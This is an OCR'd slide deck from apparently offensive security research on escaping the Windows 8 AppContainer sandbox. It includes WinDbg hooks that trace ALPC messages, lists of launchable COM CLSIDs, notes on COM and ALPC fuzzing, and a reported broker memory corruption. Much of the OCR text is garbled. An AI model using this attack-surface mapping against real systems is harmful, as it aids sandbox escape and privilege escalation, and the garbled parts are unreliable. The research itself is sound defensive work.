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-- Windows 8
I



* Fancy Ul!

* Lots of security
improvements!

* \Very secure!

* \Very robust!
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New Security Features in Windows 8

e |[E10 * New kernel protection
— EPMIE o UEFI
— /GS, /SAFESEH, 2
/DYNAMICBASE, * Application
SmartScreen
— DEP/NX SHEHOP,
e Exploit mitigation
== improvement
— HTML5 Sandbox



WINDOWS 8 AND METRO STYLE APP

Remote Desktop

Al




The properties of the deployment package for your app are contained in the app manifest file. You can use the
Manifest Designer to set or modify one or more of the properties.

Declarations Content URIs Packaging
Application Ul Capabilities
Capabilities: Description:
: Enables adding, changing, or deleting files in the documents lib:
D ts Library A
types that are defined by the file type association handler declar:
(] Enterprise Authentication cannot access document libraries on HomeGroup computers.
[] Home or Work Networking More information

[] Internet (Client & Server)
[] Internet (Client)

["] Location

[] Microphone

[] Music Library

[] Pictures Library Access
[] Proximity

[] Removable Storage

[] Shared User-Certificates
[] Text Messaging

[] Videos Library Access
[] Webcam




Capabilities

e Network

— Enterprise auth., client, server & client, Intranet,
Text, Messaging, etc.

* File System
— Documents, Pictures, Music, Video, etc.

e Devices

— Location (e.g. GPS), Microphone, Proximity (e.g.
NFC), Removable storage, etc.

* Things that are specific to an application (local
storage, settings, etc.) do not require

capabilities.
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WInRT APIs

 Windows Runtime (WinRT API) is the backbone of
the new Metro-style apps (also known as Immersive)
in the Windows 8 operating system.

* |t provides a set of API that can be called from .NET
languages (C#, VB.NET, F#), C++, and HTML /
JavaScript.

* Apps created for WinRT are
— Safe
— Secure
— Sandboxed
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WINRT API

Metro style Apps

3 XAML HTML / CSS
) JavaScript
ot (Chakra)

WinRT APIs
Communication Graphics & Devices &
& Data Media Printing
Application Model
Windows Core OS Services

System Services

Core

.




APP CONTAINER



http://www.flickr.com/photos/loufi/3500076/

ppContainer

* What is an application sandbox?
— A sandbox is a mechanism to isolate untrusted processes.
— Protecting system from exploit attack.
— All metro style apps run in AppContainer.

* What does a sandbox contain?
— Isolated process which runs with very limited rights

— Broker, a process which could execute specific actions for a
isolated process

— An IPC mechanism to allow isolated processes to
communicate with broker



capabilities

App Container

App Container
Metro

*,' Metro
Application

Application
|
Storage

Storage
ll
WInRT APIs

Appx manifest

WiInRT APls

Broker APICalls

l
| DeclarationsTShare® {8 (H78

| AENCTHREILF — 9D It ]
FET

Direct APICalls

0S Core

e - 1-13-2-3713352000- 10/03035005-3244348143-3000815174-3164725511- 107003435 7- 1858004574
{ - L. S-1-15-2-4238777794-2574622755-3451309604-3242812027-3424635963-2206017950-816935883 |
----- Ju S-1-15-2-550462423-1739240917-3080957089-132361967-1042326411-2246802945-1096419336

Ju S-1-15-2-711707621-3909432211-3173240058-683985031-1724714778-2288865535-812594057

Ju S-1-15-2-780982690-1916821608-3779023439-1415808245-36366169-4166205589-4142735733
Ju S-1-15-2-78258173-3630283814-3976781764-2121941746-2609859594-1439383069-4270354972
; Ju S-1-15-2-930008380-2651289411-576400310-1428486404-1544807059-1423410251-1633952946
> - Ju Storage

-

omputer\HKEY_CURRENT_USER\Software\ Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15--




Windows 8 SDK for Windows App
Telemetry Metro style apps Certification Kit

Feedback & /
\ App Signatures

Frictionless i /
o /,App Confidence

Store / \ App Container

Onboarding

Ratings &Reviews

We agree all of these designs really provide a secure execution
environment for Metro style apps.




Security design of Metro Style App

* Executed in an "App Container”
— Secured through a sandbox
— Severely limited resources access
— Limited resource access: need explicit permissions
— Use a restricted subset of .NET and Win32 APlIs

* Distributed only through the Windows Store



Previous Works on Sandbox Bypassing

* Exploit kernel or privilege escalation vulnerabilities to
escape sandbox.

* File system: looking for accessible folders/files and
registries, especially some writable locations on the
disk. And to see what we can do or what we can get
from these places.

* Sending message or keyboard events to outside of
sandbox, it might trigger some privilege actions.

* Leverage special handles: some available handles
might be used to communicate with other process or

resources.




ATTACK VECTORS
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. | </
AppContainer Sandbox Attack Vectors
* ALPC

* COM

* WInRT

* Design Logic



ATTACK ALPC




DEBUG OF ALPC COMMUNICATION

Client address Kernel address space Server address

space

Connection port

space

Message |~ LIL]
queue
Client process Server process
Handle Handle
Client _— Server » Handle
communication communication
port port
Client view Server view
of section of section
Shared
section

FIGURE 3-27 Use of ALPC ports
EICNBE 3-5) 26 04 YIbC boig2



http://mba.shengwushibie.com/itbook/BookChapter.asp?id=28217
http://mba.shengwushibie.com/itbook/BookChapter.asp?id=28217

AppContainer
Sandbox
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lalpc
0: kd> !alpc /lpp 85c44400

Ports created by the process 85¢c44400:
Port 856b11b0 is not a connection port.

Ports the process 85c44400 is connected to:
8491b038 0 -> 83ae22e0('ApiPort') 0 852bf6cO('csrss.exe’)
83ad9660 0 -> 83ac4540('Isapolicylookup') 0 83aa0300('Isass.exe')
8495b458 0 -> 8571fd98('epmapper') 0 85720c00('svchost.exe')
86058408 0 -> 85722270('actkernel') 0 8570ea00('svchost.exe')
83fc1038 0 -> 857dal150('ThemeApiPort') 0 857c0a80('svchost.exe')

8492ee40 0 -> 85ed35b0('OLECE394EC247374B3DB80DFBOD7935') 0
85e4dbccO('explorer.exe')

85f9f2a8 0 -> 83ac43f0('Isasspirpc') 0 83aa0300('Isass.exe’)
8513e8f8 0 -> 857bdef8('FontCachePort') 0 857b4c00('svchost.exe')
86000618 0 -> 85d67188('msctf.serverDefaultl') 0 85d66700('taskhost.exe’)

83abd6f0 0 -> 84967c28('OLE94FA4C860892A252B3E8A6020AC3") 1
84b0f380('RuntimeBroker.')

black




sysca

82027f18 823ee774 nt!NtAlpcSetinformation
82027f1c 8247ba70 nt!NtAlpcSendWaitReceivePort
82027f20 824904ce nt!NtAlpcRevokeSecurityContext
8202724 8248a704 nt!NtAlpcQuerylnformationMessage
82027128 823fdd80 nt!NtAlpcQuerylnformation
82027f2c 82408280 nt!NtAlpcOpenSenderThread
8202730 823fdfdc nt!NtAlpcOpenSenderProcess
8202734 824916d0 nt!NtAlpcimpersonateClientOfPort
82027138 824b2f06 nt!NtAlpcDisconnectPort
82027f3c 82490b26 nt!NtAlpcDeleteSecurityContext
82027f40 824cdcd4 nt!NtAlpcDeleteSectionView
82027f44 824dc258 nt!INtAlpcDeleteResourceReserve
82027148 824cd3e8 nt!NtAlpcDeletePortSection
82027f4c 82490034 nt!NtAlpcCreateSecurityContext
82027f50 824cd72a nt!NtAlpcCreateSectionView
82027f54 824dc024 nt!NtAlpcCreateResourceReserve
82027158 824ccf96 nt!NtAlpcCreatePortSection
82027f5c 824defcd ntINtAlpcCreatePort

82027f60 824e9ae4d nt!NtAlpcConnectPort

8202764 824e9aa0 nt!NtAlpcConnectPortEx
8202768 8247bcal nt!NtAlpcCancelMessage
82027f6c 824f78de nt!NtAlpcAcceptConnectPort




IoNn

82027f1c 8247ba70 nt!NtAlpcSendWaitReceivePort
82027f5c 824defc4 nt!NtAlpcCreatePort
82027f60 824e9aed nt!NtAlpcConnectPort

82027f6¢c 824f78de nt!NtAlpcAcceptConnectPort



HOOK ALPC communication (1)

bp ntdll!NtAlpcSendWaitReceivePort ".catch{r @5t10 =
Oxedc;.if(@Steb = 0){.if(poi(@Steb+20) = @St10){!handle
poi(esp+0x4);.process; .printf \"PID:%x PortHandle:%x Flags:%x
SendMessage:%x SendMessageAttributes:%x ReceiveMessage:%x
BufferLength:%x ReceiveMessageAttributes:%x
Timeout:%x\r\n\",poi(@Steb+20),poi(esp+0x4),poi(esp+0x8),poi(esp+
Oxc),poi(esp+0x10),poi(esp+0x14),poi(esp+0x18),poi(esp+0x1c),poi(esp
+0x20);.if(poi(esp+c)!=0){.printf \"send:\";dt PORT_MESSAGE
poi(esp+c);db poi(esp+c) |
(poi(poi(esp+c))&0xffff)+0x18;gc;};.if(poi(esp+0x14)!=0){r @StO0 =
poi(esp+0x14);.printf \"recv:\";bp poi(esp) \".process;.if(poi(@Steb+20)
= @S$t10){r @5t1 = (poi(@S$t0)&O0xffff)+0x18;dt PORT_MESSAGE
@510;!alpc /Ipp;lalpc /m poi(@St0+0x10);db @5t0 | @St1;bc
2;8¢;}.else{gc; \";8c;H.else {gc;}}.else {gc;}1}"




HOOK ALPC communication (2)

bp nt!NtAlpcCreatePort ".process; .printf \"PID:%x PortHandle:%x ObjectAttributes:%x
MaxConnectioninfoLength:%x MaxMessagelLength:%x MaxPoolUsage:%x
\r\n\",poi(@Steb+20),poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+
0x14);"

bp nt!NtAlpcConnectPort ".process; .printf \"PortHandle:%x PortName:%msu
ObjectAttributes:%x PortAttributes:%x Flags:%x RequiredServerSid:%x
ConnectionMessage:%x BufferLength:%x OutMessageAttributes:%x
InMessageAttributes:%x Timeout:%x
\r\n\",poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+0x14),poi(esp+0
x18),poi(esp+0x1c),poi(esp+0x20),poi(esp+0x24),poi(esp+0x28),poi(esp+0x2c) "

bp nt!NtAlpcAcceptConnectPort ".process; .printf \"PortHandle:%x
ConnectionPortHandle:%x Flags:%x ObjectAttributes:%x PortAttributes:%x
PortContext:%x ConnectionRequest:%x ConnectionMessageAttributes:%x
AcceptConnection:%x
\r\n\",poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+0x14),poi(esp+0
x18),poi(esp+0x1c),poi(esp+0x20),poi(esp+0x24); “




[ Jogopen “metroapp.txt” }

4

{ Hook nt!NtAlpcCreatePort }

J

{ Open Metro App }

U

Hook
ntdll!NtAlpcSendWaitReceivePort

4 ! }




ncalrpc:[\\Sessions\\1\\AppContainerNamedObjects\\S-1-15-2-
1115239912-5888679-3094415206-3103815194-10819155-
2778485781-2267460753\\RPC
Control\\OLE9517A3676FBEC77BBFBOBB30B841]



 {BEODAOAD-C47E-56DA-BF00-F4344E2FCE93}
App.wwa

Implicit process is now &85208a00
PID:7ec PortHandle:168 Flags:20000 sendMessage:bfb688 SendMessageAttributes:clabcc ReceiveMessage:

+0x000 ul : <unnamed-tag>
+0x004 w2 : <unnamed-tag:=>
+0x008 ClientId : _CLIENT_ID

Computer\HEEY_CLASSES ROOT\ActivatableClasses\ CLSIDV{BEDDADAD-CATE-36DA-BF00-F4344E2FCEDS}

C

00bTh698 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 . ... ... ........ .
00bfbbad 00 00 00 Oa 00 00 00-03 00 00 00 00 00 00 00 .....cvvuunnnnnn
00bfb6b8 00 00 00 00 00 00 00 00-00 00 00 00 00 OO0 OO0 00 ................
00bfb6c8 00 00 00 00 00 00 00 00-01 00 00 00 37 00 38 00 ............ 7.8.
00bfbbd8 01 00 00 00 00 00 00 00-00 00 00 00 82 de af 36 ............... 6
00bfbbe8 2T 4b ca .B.. ..;:
00bfb6fs 02 00 00 00 /e cd da 56 ... ........ .
00bfb/08 bf 00 f4 34 de 2f ce 93gnP] . .
00btb718 03 54 00 00 ec 07 00 00-82 )

00bfb728 02 00 00 cO 00 00 00 00-2d 8a d0 26 36 11 7a 57 ........ Z..&6.zwW
NNhfh73IR R h7 R Ao F0 hf ah B2 _ A0 GR 132 56 a2 A1 ah 1F - h v o
MName Type Diata
.ﬁE] (Default) REG SZ (value not set)

S ActrvatableClassid i Sefions Appwwa
."ﬂF"ackag:Huniktr REG_SZ cDO0053d-7T7bc-4b2f-a138-db83dleab2bf_1.0.0.1_neutral_4sdae...




00c2fac0 f0 Od 08 Oe 00

- 00 00 00 OG
imeBr

00 00 00-00 00 00 00 00 00 00 00 . ... .............

00 00 00-00 00 00 00 00 00 00 00 ... ............. ;
kﬁrjﬂl 05 00 00 00 04 00 00 OO0 ... .. ...........
00-00 00 00 00 00 00 00 00 ... .. ...........

00cZ2tb00 OC' 00 00 ClCl 4d 45 4f 57-1b ac 0> 00 00 Oa ff ff ....MEOW........
|00c2fbl0 32 13 60 3" le 1f 91-05 00 07 00 01 00 00 00 .2. 2...........
00cZ2ftb20 OC' CH] 00 00 4b 93 46 af-ae 08 bf 4d a5 33 7a 78 K. M. 3zx
GO:LFFBCI 77 7 OC' 00 00 00-00 00 00 00 bc Oa Cli] L

{D6: Bidtl% BB46-4990-A94 EE?@@BQ!SZOE, }

00c2fb7Q cO 00 00 00 00 00 00 46-00 00 00 00 48 Od 00 00 .......
Ruﬂﬂ meBroker., o 00 o a

‘3"3' 00 00-40 0d 00 00 cO 00 00 00 ........ @.......
00c2fbal 00 00 00 00 00 00 00 00-06 00 00 00 00 00 00 00 ... ... .. ...

)0 2Fhh0.. Q000 0Q 0Q 00 00 00 ,00-00 ¢ H:II-D‘%F gﬂéﬁ@

- IN R ) -
{CAB3459C-3502-41a2-AF6F-3A999F8CD41E)
Qﬂngbgﬂ. 00 00 00 00 cO G% %% %% %% %% %% 46 a} ] %% %% ...........

Da?f { 00 00-00 00 00 46 a— ( 00 00 . .......... e
Iimatlméairﬁké 0O 00 00-00 00 00 46 a6 01 00 00 ... ......... F. S
00c2fc10 00 00 00 Q0 cO 00 00 00-00 00 00 46 aa 01 00 QO ... ... ...... F....

00c2fc20 00 00 00 00 cO 00 00 00-00 00 00 46 06 00 00 OO0 ........... F....
00c2fc30 68 00 00 00 58 00 00 00-90 00 00 00 20 00 00 00 h...X.......

00c2fcd0 20 00 00 00 fO 0Oa 00 00-01 10 08 00 cc €C €CC €CC v o e e e e e e e e e
00c2fc50 58 00 00 00 00 00 OO0 00-01 00 00 OO0 00 00 00 00 X.... ..o uuo...
00c2fc60 00 00 00 00 00 00 00 00-02 00 00 00 00 00 00 00 ... ... ...
00c2fc70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ... ...,

00c2fc80 04 00 00 00 02 00 00 00-00 00 00 00 00 00 00 OO0 ... .............

00c2fc90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ... ...,
00c2fcald 00 00 00 00 OO0 00 00 00-00 00 00 00 00 00 00 00 ... .. ...,
00c2fcb0 01 10 08 00 cc cc cc cc-48 00 00 00 00 OO0 00 QO ........ H...... .
00c2fccO0 5 10 3b d6 46 bb 90 49-a9 4f e4 Ob 9d 52 01 60 ..:;.F..I.0...R.
00c2fcd0 14 00 00 00 00 00 00 00-00 00 00 00 01 00 00 00 ... ... ...
00c2fce0 00 00 00 00 00 00 02 00-58 00 00 00 O5 00 OF QO ........ Xooooon .
00c2fcf0 01 00 00 00

00 00 00 00-01 10 08 00 €C €CC €CC €CC vt e eeee e
00c2fd 80 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ... ... eean..

00 00 00 00 00 00 00 00-00 00 02 00 00 00 00 00 ... ... . ........




Fuzzing ALPC communication

* Inline ASM
* Hook ntdlI!NtAlpcSendWaitReceivePort

 Modify Send Fuzzzing Data




ATTACK COM SERVER




* |nInitOrder.blink — kernelbase.dll (instead of kernel32.dlI)
e OLE32.dlIl(Win2000->Win7)
e ComBase.dll (Windows 8)

nFunctions) | Dword | Word | Dword | szAnsi
000011D 000BBOEO 011C 000EE74D RoOriginateError
ANNNMT1C NnNNDDND& N11MN NNNCCT7ELC DAaNrimimatalrrarlAl
. 8045 FC LER ER#,DWORO PTR SS:[CEBP-41

HE4E1638|] . 5@ FUSH ER=

FEd4E1E31 ] « 68 FEcE4EEE PUSH com_test.0048668FA

BEa4a1635(] . 6A B84 PUSH 4

HEd4E1E33] « 6A 88 FUSH @

BE4E 1030
BE4E103F

e d . d -

. 53 CASE4800
. FF15 B46@4@6@ CALL_OWORD PTR DS:[<&o0le32.CoCreatelnstances]

L

000BB085
000BB7FD
00032F5D
000BAC12
000BB247
000BB11D
00032B9C
000331AB

FUSH cor_test. 88485808

0121
0122
0123
0124
0125
0126
0127
0128

O00EE7D6
O0OEE7F5
OOOEES1B
OOOEE837
OOOEE850
O0OEE861
O0OEE873
OOOEE882

combase. CoCreatelnstance

RoReportCapabilityCheckFailure
RoResolveRestrictedErrorinfoReference
RoRevokeActivationFactories
RoSetErrorReportingFlags
RoTransformError

RoTransformErrorW

RoUninitialize

RoUnregisterForApartmentShutdown




Purpose of COM Testing

* Test stability of COM server

— Looking for memory problem

* Test functionality of COM server

— There might be some useful functions can help us
to do privileged operations.
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=l [n"svchost exe 908 339 40632 K 43 516 K Host Process for Windows 5... Microsoft Corporation System
0 dasHost exe 2880 8236 K 17,868 K Device Association Framewo... Microsoft Comaoration System
| WUDFHost exe 3068 1424 K 4084 K Windows Driver Foundation -... Microsaft Corporation System




Examples:

e Metro APP COM interface

* RuntimeBroker.exe ->Medium
* ImeBroker.exe ->Medium
 Wkspbroker.exe->Medium

* Tabtip.exe -> High




rge

valiaple

File Edit WYiew 5Special Help

CLSID | Text | Type | Type Yalue | ProglD
{69127644-2511-4DF5-BCRA-261 732544440} Remotedzsistance Clazs LocalSererd? C:vefindowzs\System3Z\BaS erver exe RaServer Remaoter
{DE3B10C5-BB 46-4990-494F-E 40B30 520160} RuntimeBroker LocalSererd? C:vefindowz\Systerm325RuntimeBroker exe
{E1BANAD-4410-418F-A4BA-301196B42303  SDChange0bj Class LocalSererd? C:vefindowz\System32isdchange. exe zdchange. sdchanc
{4440485C4-1B9B -4F 2E-990 7-99CRAECE34 74} Setting Svnc Task LocalSererd? "CAWindowshSpstem 324 S ettingSyncH ozt exe”’
{DCC2B046-3FE3-4F30-BE16-BOG7RERTATT S} Settings Search LocalSererd? ESystemB ootzhS petem 32 undl 32, exe shell3...
{1E2DE7YDE-FR96-4640-284F6-CE Q906 30E 983} ShapelCollector Class LocalSererd? "C:A\Program Filez\Commaon FileshMicrozoft Sh..  ShapeCollector.Sh

{h49e57eS-b362-49d1-bE 7 3-bE4dST Defedb}
{BFE841C3-3784-4CAD-B4FC-5091 366CECOD
{FFBSE55F-81B9-4fce-EBIC-346BATED 1 3E T}
{935C996E -0'918-4a80-4302-4671 JAEF4EAT)
{fbd73c02-9ecd-4fed-5593-debe037452ch}
{c08afd30-12a1-11d1-5455-00a0c31 13580}
{9BA05972-FEAS-11CF-A442-0040C3048F 39}
{03 EEDBD-E7E C-460d-5847-E4AT7CEE 45427}
{94E03510-31B9-47 a0-A44E -E9324C86BB17}
{F14258A57-1545-44A2-4853-80F 10204520 3}
{FB7B25F1-DASA-4F35-8ECO-B00EFCF2EE 83}
{8144BEF5-2048-4445-B8EE-190FOBES4BDE}
{E2950F20-35EE 1101 -8707-00C04FD'I3327}
{B8558612-DF5E-4F95-BB51-BE910B327FE 2}
{1202DBB0-1DAC-42C5-AED5-1ABDDA32248E
{141F4206-05588-4E 7F-BE03-DE2ECRIDFIAG}
{E9FACE25-25E 2-4BE1-ABBF-07AATCBEI5E S}
B0SBSE30-C451-421B-8653-D297AFAR4EC)
9aa46003-3ce0-458a-5354-71561 020756}
C347D50F-378E -4FFB-3835-FCBA03052440
B3IFEFA4D-BFET-4244-4404-1E530C1 CB 103}
{4548deal-2dfc-4306-a7 28-6d956ba39349}
{16418E86-FFEE-4C20-4089-4FFCODE FA9EA}
{2cB534de-04ad-490F-3447-dcBe2 ¥ 7 2e90h}
{mac1009f-ab33-4813-9a21-7fobBE4 26 a2}
{0544AE 20-4BEA-4347-8435-644033254430 1
{6daff8e0-730d-11d4-bf42-00b0d01 15056}
{Edaff8es-730d-11d4-bf42-00b0d01 15056}

{81 CFATFF-3600-4365-97 34-670B 8D 24438 3}
{edc32574-7521-41 24-90c3-8dD605a34 933}
{9C38EDG1-D5E5-4728-AEEE-CR0952F0ECDE}
{5fdbaad0-4d59-4fed-b213-783ce 7 292122}
{CF1BF3BE-7AD0-4410-936B-CFSEAFCD 3269}

e

ShareFlow

Shell AutoPlay Direct

Shell Execute Hardware Event Handler
Shell Hardware Mixed Content Handler
Shell Hardware Mixed Content Handler Cancelled
ShellE rowzeraindow

Shelhwindowes

Windows Media Player Rich Preview Handler
Windows Media Player Device Autoplay
Spell Checking Host Clazs
SPPUIObjectinteractive Clazs
StEwventHandler Clazs

Sync Center [Private)

Sy Center [Private)

Sync Center Client

Swnc Center Cantral

Sy Center |zalation Collection [Private)
Sync Center Schedule wizard

Sync Integration b anager
Synclnfraztucture Class

TeutContributor Clazs

Thurnbnail Extraction Host Clazs

TP Yirtual Smart Card Manager

TPVCGE ateweay Wil Provider
TSRDSettings Clazs

UIHost Class

IPrPContainer

UPrPContainersd

Idzer CPL Uzer Manager Out of Proc Helper
Wwindows Media Player Burn Audio CD Handler
Wirtual Disk Service Loader

Wafld Event Prompt Class

Wwfindows Markup File

LocalSerer32
LocalSererdz
LocalSererdz
LocalSererdz
LocalSererdz
LocalServerd2
LocalServerd2
LocalServerd2
LocalServer32
LocalServer32
LocalServer32
LocalServer32
LocalServer32
LocalSerer3s
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSererd?
LocalSerer32
LocalSerer32
LocalSererdz
LocalSererdz
LocalSererdz
LocalServerd2
LocalServerd2
LocalServerd2
LocalServer32
LocalServer32

ESpzternB oot S petern32hundll32. exe shell3...
ESpztemB oot \SystemZ2hundll 32, exe X5pzt..
ESpztemB oot \SystemZ2hundll 32, exe X5pzt..
ESpztemB oot \SystemZ2hundll 32, exe X5pzt..
ESpztemB oot \SystemZ2hundll 32, exe X5pzt..
ESpztemB oot®\S yetem 32y rundll32. exe shell3...
ESpztemB oot \S patemd2hundll32. exe shell3..
"ZProgramFilesNwindows Media Playerswmp. ..
"ZProgramFilesNwindows Media Playerhwml...
"CAwindows S ystem324MeS pellCheckingH os. .
ZSpstemB oot A\S yetemd2helul exe
C:AWindowshSpztern32hmiaacmagr. exe
ZSpztemB oot \System3Z2hmobaync. exe
ZSpztemB ootZ\System32hmobsyne. exe
ZSvztemB ootZ\System32hmobsyne. exe
ZSvztemB ootZ\System32hmobsyne. exe
ZSvztemB ootz S ystem32hmobsyne. exe
ESystemB ootzhSpstem 32 mobzync, exe
ESystemBootZhSystem 32 undll32 exe ESyst. .
ESystemB oot haustem 32\ mobzync, exe
"C:AProgram Filez\Comman FileshMicrogoft Sh...
ESystemB ootzhS petem 325 ThumbnailE stractio. .
"HSpztermB ootEZ\S petem 32N T prmtech grSwres...
C:\Program FileshMware'\Whware ToolzhTPY. .
ESpzternB oot epzterm 32T S Theme. exe
"ZCommonProgramFiles®microzoft sharedhin...
ESpztemB oot epsten32\upnpoont. exe
ESpztemB oot epsten32\upnpoont. exe
CAWindowshSeztem 324U serdccountBroker exe
"ZProgramFilesZNwindows Media Playerhwmp. ..
ESpsztemB oot \S patemd2hwdsldr exe
C:AWindowshSpstern32hwiaacmar. exe
C:AWindowshSpstern32hPrezsentationH ozt exe

e F-Te-

Shel HWEwentHal

WwikP. Device. 1

SPPULSPPUIOb

Tablps. TextCaontrik

Wwindows.XamliDoc




E@ svchost exe
(71 dllhost exe

6,896 K Host Process for Windows 5... Microsoft Corporation System
3.88¢ K COM Sumogate Microsoft Corporation System

[B|Credential UlBrokerexe 2428 3.860 K Credential Manager Ul Host  Microsoft Corporation Medium
=l [m7svchost exe ; 40632 K 43,516 K Host Process for Windows 5... Microsoft Corporation System
[m"|dasHost exe 8,236 K 17.868 K Device Association Framewo ... Microsoft Corporation System
[m5]WUDFHost exe 1,424 K

4 084 K Windows Driver Foundation -.. Microsoft Coamporation System

Falakd

{DESOCTEB-FAAT-4ATF-BA4T-BFOEFCFE4330)
Regstry | Implementation Activation | Launch Pemissions | Access Pemmissions

() Use default launch pemisaiona
(@) Use these launch pemissions:




Attack COM server in Metro App

lID Interface




CLSIDs of imebroker

« {69B1A7D7-CO9E-40E9-A1DF-688007A2D9E4} //imebroker.exe
 {9A4B1918-0A2F-4422-89DD-35B3F455999C} //imebroker.exe
« {A4AFBCBC6-4BE5-4C3D-8AB5-8B873357A23E} //imebroker.exe
 {BAGEE7D8-190D-423A-93CC-1270E6599195} //imebroker.exe
« {C658E5BD-817B-41C8-8FB6-5B2B386A40EA} //imebroker.exe
 {DE50C7BB-FAA7-4A7F-BA47-BFOEFCFE433D} //imebroker.exe
 {DF46CD07-4F86-42F0-8FA9-35C3CE55D77B} //imebroker.exe



Clsid with “ALL APPLICATION PACKAGE”
launch permission

 {7FC12E96-4CB7-4ABD-ADAA-EF7845B10629}//CredentialUIBroker.exe

* {31337EC7-5767-11CF-BEAB-00AA006C3606}//AuthHost.exe
 {36BBB745-0999-4FD8-A538-4D4D84E4BD09}//CLSID_JITDebuggingHost
 {228826AF-02E1-4226-A9E0-99A855E455A6}//Immersive Shell Broker unknow
 {A47979D2-C419-11D9-A5B4-001185AD2B89}//Network List Manager unknow
 {C4D6E899-E38A-4838-9188-0B98EE3175E6}//ProgrammabilityManager Class unknow
 {D63B10C5-BB46-4990-A94F-E40B9D520160}//RuntimeBroker.exe
 {549E57E9-B362-49D1-B679-B64D510EFE4B}//ShareFlow
 {7B6EA1D5-03C2-4AE4-B21C-8D0515CC91B7}//Shell Create Object Task Server unknow
 {F1425A67-1545-44A2-AB59-8DF1020452D9}//Spell Checking Host Class

« {D6E88812-F325-4DC1-BBC7-23076618E58D}//TsfManager Class unknow TabTip.exe
 {6B19643A-0CD7-4563-B710-BDC191FCAD3B}//TSFstateManager Class unknow TabTip.exe
 {054AAE20-4BEA-4347-8A35-64A533254A9D}//high UlHost Class TabTip.exe

» {4CE576FA-83DC-4F88-951C-9D0782B4E376}//UIHostNoLaunch Class unknow TabTip.exe
 {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}//DevicesFlow

* {19C65143-6230-42FA-A58E-7D9FA9BE2EBS5}//WorkspaceBroker Class wkspbroker.exe




1Dy I arne Addr Interface | Addr VT able
{00000000-0000-0000-CO00-000...  1nknown O02C03C0 F7a3B1F4
{00000020-0000-0000-CO00-000....  1Multic] O02C0EC0 fTA3B1F4
000007 30-0000-0000-CO00-00...  1ChentS ecurity Q02C039c FTa3B 255
{00020400-0000-0000-C000-000...  1Dispatch O0ZZBE 34 FRFCCT5R0
111C42040 -0FAA-4C31-BBDD-4. . IHostwindow? O0Z2BBALC EFBEDORS
{3FCO94E7-43268-4834-A2F7-DC... [Tiplnvocation O0Z2e014 EF3EDOB4
{3883B893-216F-4094-4094-61...  [TipProperties O0z2eab 4 EFREDOTE
{8241DDBA-CFAT-42E3-9D7E-4...  ITextComectionSite O0ZZ2BECS EFRED 254
{CC3E4D95-230D-4C46-8EC4-2...  ITipwWindow O0Z2BA80C EF3EDO30




text
text
text:
text:
text:
text:
text:

!

Object: CLSID_JITDebuggingHost = =

1D | Name | Akt intest... | AddvTable |
OODOOCOC-0000-0000-C000-000, . I sk raoar AL SFED P =h o
AUDCOCEC-0000-0000-Cooo-0o0... - Is4ulal L 7 bl e o o
QOO0 30 -0000-0000-CO00-00....  IChentS ecunty AL A L
{4ZEFIF23-7777-42ED-BATA-94, . WITDebuggrgHost2 DOS0EEA4  EDSERAZD
SEAEEFABLAAAS B30 .. WITDebuggrgH ozk100 LIELS 318 === e

/N ame | Offzat | Value |
0 0 EDSEZE3?
1 F EOSE2EE2
2 g BDSEZERE
3 12 TTEOTAIF

Fgggdnglnhﬂh:mm
i

180404958 ; const JITDebuggingHost::CHost:: vftable'{for “I1JITDebuggingHost2'}
-804 04958 ??_?EHDStEJITDEhuggingHuEtE@ﬁBIJITDEDuggingHuEtE@@@ dd offset ?uueryInterFace@EHDSt@JITDEhuggingHust@EUHGJHBU_GUID@@PHPHX@Z

08404958
08404958
084084950
0L A4060
a4 eu964

; DATA XREF: .data:JITDebuggingHost::CHost JITDebuggingHost::CHost::s_Instancejo
; JITDebuggingHost: :CHost: :QueryInterface(_GUID const &,void = =)
dd offset ?AddRefECHost@JITDebuggingHostBRUAGKXZ ; JITDebuggingHost::CHost::AddRef(void)
dd offset ?ReleaseBCHost@JITDebuggingHostEEUARKXZ ; JITDebuggingHost::CHost::Release{void)
dd offset ?JITAsLoggedInUser@CHostRJITDebuggingHostERUAGJUtagCRASHING_PROGRAM_IMFO@EEZ ; JITDebuggingHost::CHost




COM Interface Method Fuzzing

Attache

IID Interface
black :




ATTACK WINRT API

WinRT APIs
Communication Graphics & Devices &
& Data Media Printing
Application Model




Metro style application APIs

User Interface

Devices Communications & Data
Poriable Sensors [NFC| | Comacs | lowl&CludSorage | Web

Media Notictons| | Steams |
ek | Capre B | Yo (SRR L (Newetng | s

Fundamentals




Geglocation

savePicker.picksaveFileAsync().then(function (file){
it (file) {
var options = new Windows.System.LauncherOptions();
options.displayApplicationPicker = true;
windows . System. Launcher. launchFileaAsync(file, options);

-

Threading Timars Memary Management | Authenscation — Cryptography  Globalizaton



Discovered an Issue of a Broker Process

 OpenWith.exe (memory corruption)

=

Do you want to send more information about the

problem?

Additional details about what went wrong can help Microsoft

create a solution.

(:4:\:) Hide Details [ Send information ]I Cancel I

Files that help describe the problem:
ChUsers\User\AppData'Local\Temp\WERAFE2 tmp.hdmp

Read our privacy statement online:
http://go.microsoft. com/fwlink/?linkid=130175

tanapp =l |

£| ed working |

Process Explorer - Sysinternals: www.sysinternals.com [UserPC\User]

File Options View Process Find DLL Users Help

Q=08 = X 86 (e T T [baiul] Wil

Process PID CPU

[m7 Ime Broker.exe
[®5] WmiPrvSE.exe

£ 0
[m7) WmiPrvSE.exe
[m7] TiWorker exe

Frivate Bytes

2680K
2200K

Working Set  Description

7.464 K Microsoft IME 2012
7.552 K WMI Provider Host

12,444 K Pick an app
3,428 K WMI Provider Host

5,800 K Windows Madules Installer ...

Compary Mame

Microsoft Corporation
Microsoft Corporation

Microsoft Comporation
Microsoft Corporation
Microsoft Corporation

Mame = Description

{BAFOESBE-D5584. ..

{AFBF9F1A-8EES-4...

{DDF571F2-BES84...

actqna dil ActiveX, Interfface Marshaling Library
advapi32 dl Advanced Windows 32 Base AP

